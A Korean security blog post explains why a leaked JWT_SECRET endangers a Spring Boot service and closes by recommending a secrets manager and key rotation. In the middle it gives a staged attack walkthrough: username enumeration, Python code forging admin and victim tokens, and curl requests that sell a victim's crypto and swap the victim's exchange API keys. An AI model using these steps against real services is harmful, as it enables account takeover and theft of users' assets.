JWT_SECRET이 유출되면 서비스는 끝난다

"서명 키 하나 유출된 것뿐인데 뭐가 그렇게 심각한가요?"
만약 이렇게 생각하신다면 이 글을 꼭 읽어보세요.
JWT_SECRET은 단순한 설정값이 아니라, 당신 서비스의 마스터 키입니다.
유출 시 공격자가 어떤 일까지 할 수 있는지, 실제 공격 시나리오로 보여드립니다.


🚨 문제점 — JWT_SECRET의 진짜 역할

Spring Boot에서 JWT 기반 인증을 구현할 때 흔히 이런 코드를 작성합니다:

@Component
public class JWTUtil {

    private SecretKey secretKey;

    public JWTUtil(@Value("${jwt.secret}") String secret) {
        this.secretKey = new SecretKeySpec(
            secret.getBytes(StandardCharsets.UTF_8), 
            Jwts.SIG.HS256.key().build().getAlgorithm()
        );
    }

    public String createJwt(String username, String role) {
        return Jwts.builder()
                .claim("username", username)
                .claim("role", role)
                .issuedAt(new Date())
                .expiration(new Date(System.currentTimeMillis() + 86400000L))
                .signWith(secretKey)   // ← 이 키로 서명
                .compact();
    }

    public String getUsername(String token) {
        return Jwts.parser().verifyWith(secretKey).build()
                .parseSignedClaims(token).getPayload()
                .get("username", String.class);
    }
}

여기서 jwt.secretJWT_SECRET입니다. 대부분 환경변수나 application.yml에 저장하죠.

JWT_SECRET은 "신분증 발급 도장"입니다

JWT는 "서명된 신분증"입니다. 서버는 사용자가 제출한 토큰의 서명을 JWT_SECRET으로 검증해서 "내가 발급한 진짜 토큰"인지 판단합니다.

즉 이 키의 역할은:

  • 🖊️ 토큰 발급 시 서명: "이 토큰은 내가 만든 것이다"라고 도장 찍기
  • 🔍 토큰 검증 시 대조: 제출된 토큰의 도장이 내 도장과 같은지 확인
  • HS256(대칭키) 방식이면 서명 키 = 검증 키*입니다. 이 키 하나만 유출되면 공격자도 진짜와 구별 불가능한 토큰을 무제한으로 발급할 수 있습니다.

유출 경로는 생각보다 다양합니다

제가 직접 겪거나 뉴스에서 본 JWT_SECRET 유출 경로들:

  • 📝 Git 실수 커밋application.yml에 하드코딩한 채 푸시. git 히스토리는 영원히 남습니다.
  • 🔍 환경변수 덤프.pem 키 탈취 공격자가 /proc/{PID}/environ 읽기
  • 📋 로그 파일log.info("JWT 설정: {}", jwtSecret) 같은 실수
  • 🏃 CI/CD 로그 노출 — GitHub Actions 로그에서 mask 처리 누락
  • 🌐 Actuator 엔드포인트 노출/actuator/env가 열려 있으면 환경변수 전체가 외부에 노출
  • 한 번 유출되면 "JWT_SECRET을 바꾸지 않는 한 영원히 유효"*하다는 점이 가장 무섭습니다. 그리고 대부분의 팀은 유출 사실 자체를 인지하지 못합니다.

💀 실제 해킹 시나리오 — JWT_SECRET이 유출됐을 때

제가 운영 중인 서비스를 예로 들어 공격자 관점에서 전체 공격 사슬을 재구성해보겠습니다. 제 서비스는 간단히 말하면 외부 API 키를 사용자별로 저장하고, 그 키로 자동화 작업을 수행하는 백엔드입니다.

공격 사슬 전체 그림

[Stage 0] JWT_SECRET 획득
    ↓
[Stage 1] 유효한 username 수집
    ↓
[Stage 2] 임의 사용자의 JWT 위조
    ↓
[Stage 3] 관리자 권한 탈취
    ↓
[Stage 4] 타겟 사용자의 민감 데이터 접근
    ↓
[Stage 5] 자금/자산 유출
    ↓
[Stage 6] 흔적 지우기

Stage 0 — JWT_SECRET 획득

공격자 김해커 씨가 어떤 경로로든 JWT_SECRET을 손에 넣었다고 가정합시다. GitHub에서 우연히 발견했을 수도 있고, 내부자에게서 구매했을 수도 있습니다. 이 시점에서 공격자는 서비스의 모든 사용자로 행세할 수 있는 능력을 갖춘 셈입니다.

Stage 1 — 정찰: 유효한 username 수집

공격자는 JWT를 위조할 수 있지만 "누구 행세를 할지" 정해야 합니다. 타겟의 username을 알아내는 경로는 여러 가지가 있습니다:

경로 A — 회원가입 응답 분석

# 중복 체크 허용 여부 확인
curl -X POST https://target.com/api/user \
     -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"test","authCode":"test"}'
# → "이미 사용중인 아이디" 응답이 나오면 admin 계정 존재 확인

경로 B — 로그인 응답 시간 차이

UserNotFoundException과 비밀번호 불일치의 응답 시간이 미묘하게 다르면, 타이밍 공격으로 username 존재 여부 판별 가능.

경로 C — OSINT

타겟 기업의 개발자 GitHub/LinkedIn/블로그에서 자주 쓰는 username 유추. 보통 admin, {회사명}_admin, 창업자 실명, 개발자 실명 등이 나옵니다.

Stage 2 — JWT 위조

secret과 username이 있으면 위조는 Python 몇 줄이면 됩니다:

import jwt
import time

SECRET = "유출된_JWT_SECRET_값"

# 관리자 권한 토큰 위조
payload = {
    "username": "admin",
    "role": "ADMIN",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}

forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
print(forged_token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2Vy...

서버는 이 토큰을 진짜와 구별할 방법이 없습니다. 서명 검증이 통과되니까요.

# 위조 토큰으로 즉시 접근
curl -b "Authorization=eyJhbGc..." https://target.com/user
# → admin의 사용자 페이지가 정상적으로 반환됨

Stage 3 — 권한 확장

많은 서비스에서 JWT의 role claim을 그대로 권한 판단에 쓰기 때문에, 공격자는 JWT에 role: "ADMIN"을 넣어 즉시 관리자 행세가 가능합니다.

잘 만들어진 서비스는 JWT의 role을 신뢰하지 않고 DB에서 다시 읽어오는데, 그마저도 공격자가 username을 "admin"으로 위조하면 DB에서 실제 관리자 정보를 로드해버리므로 무력화됩니다.

Stage 4 — 타겟 사용자의 민감 데이터 접근

이제 공격자는 누구든 원하는 사용자로 로그인 가능합니다. 특정 타겟의 JWT를 만들어:

# 자산이 많은 타겟 사용자로 위장
victim_token = jwt.encode({
    "username": "victim_user",
    "role": "USER",
    "exp": int(time.time()) + 3600
}, SECRET, algorithm="HS256")
# 피해자의 계좌 잔고 조회
curl -b "Authorization=$victim_token" \
     https://target.com/api/exchange/accounts
# → 피해자의 전체 자산 현황이 반환됨

피해자의 API 키는 DB에 AES-256-GCM으로 암호화되어 있습니다. 훌륭한 방어책이지만, 공격자는 키 원문을 알 필요가 없습니다. 피해자로 로그인된 상태이므로 서버가 알아서 복호화해서 API를 호출해주니까요:

# 피해자 명의로 주문 실행
curl -X POST -b "Authorization=$victim_token" \
     -d 'market=KRW-BTC&side=ask&order_type=market&volume=0.5' \
     https://target.com/api/exchange/orders
# → 피해자의 BTC가 시장가로 매도됨

Stage 5 — API 키 교체 (더 교활한 변형)

공격자가 즉시 대규모 거래를 일으키면 피해자가 눈치챕니다. 더 스마트한 공격은:

# 피해자 계정의 API 키를 공격자 것으로 교체
curl -X POST -b "Authorization=$victim_token" \
     -H "Content-Type: application/json" \
     -d '{"exchangeType":"BITHUMB","apiKey":"공격자_KEY","apiSecretKey":"공격자_SECRET"}' \
     https://target.com/api/exchange/key

이제 피해자의 서비스가 공격자의 외부 계정에 대고 작업을 합니다. 피해자는 자기 봇이 정상 돌고 있다고 믿지만, 실제 수익은 공격자 쪽으로 쌓입니다. 며칠, 몇 주 조용히 털어갈 수 있습니다.

Stage 6 — 흔적 지우기 (JWT의 치명적 약점)

일반적인 세션 방식이면 DB에 "누가 언제 로그인했다"는 기록이 남습니다. 그래서 침해 후 포렌식이 가능하죠.

JWT는 stateless — 서버가 로그인 기록을 따로 남기지 않습니다. 공격자가 언제 어떤 토큰을 썼는지 추적할 방법이 없습니다. 로그에는 "정상적인 API 호출"로만 찍힐 뿐입니다.

왜 이게 결정적인가?

다른 웹 취약점들(CSRF, XSS, SQL Injection 등)은 피해자의 행동이나 특정 입력이 있어야 성립합니다. 하지만 JWT_SECRET 유출은:

  • 피해자와 상호작용이 전혀 필요 없음 — 공격자 혼자서 완결 가능
  • 대상을 고를 수 있음 — 자산이 많은 사용자만 선별 공격
  • 동시에 모든 계정 탈취 가능 — 한 명이 아니라 전체 사용자가 타겟
  • 탐지가 사실상 불가능 — 정상 요청과 구별 안 됨
    한 마디로 "서비스의 루트 권한을 훔쳐간 것"과 같은 수준의 사고입니다.

마치며

JWT_SECRET은 단순한 설정값이 아닙니다. 서비스 전체의 신뢰를 지탱하는 루트 키입니다. 이 키 하나의 유출이 수만 명의 사용자 자산을 위협할 수 있습니다.

많은 개발자들이 JWT를 "편리한 stateless 인증" 정도로만 인식하지만, 그 편리함의 뒷면에는 "서명 키가 곧 모든 권한"이라는 무거운 책임이 있습니다. 로그인 기록을 남기지 않는 특성 때문에 사고 발생 시 추적도 어렵습니다.

이 글이 말하고 싶은 핵심은 두 가지입니다:

  1. JWT_SECRET은 절대 환경변수에 평문으로 두지 마세요. Parameter Store나 Secrets Manager로 옮기세요.
  2. 유출됐다고 의심되면 즉시 로테이션하세요. "아직 공격이 없으니 괜찮겠지"라는 판단이 가장 위험합니다.
    보안은 한 번 뚫리면 되돌릴 수 없습니다. 특히 돈과 자산이 걸린 서비스라면 더더욱 그렇습니다. 오늘 30분만 투자해서 시크릿 관리를 점검해보시길 강력히 권합니다.

 

🏷️ 태그: #JWT #보안 #SpringBoot #AWS #ParameterStore #백엔드 #인증 #DevSecOps #시크릿관리 #해킹방어

 

+ Recent posts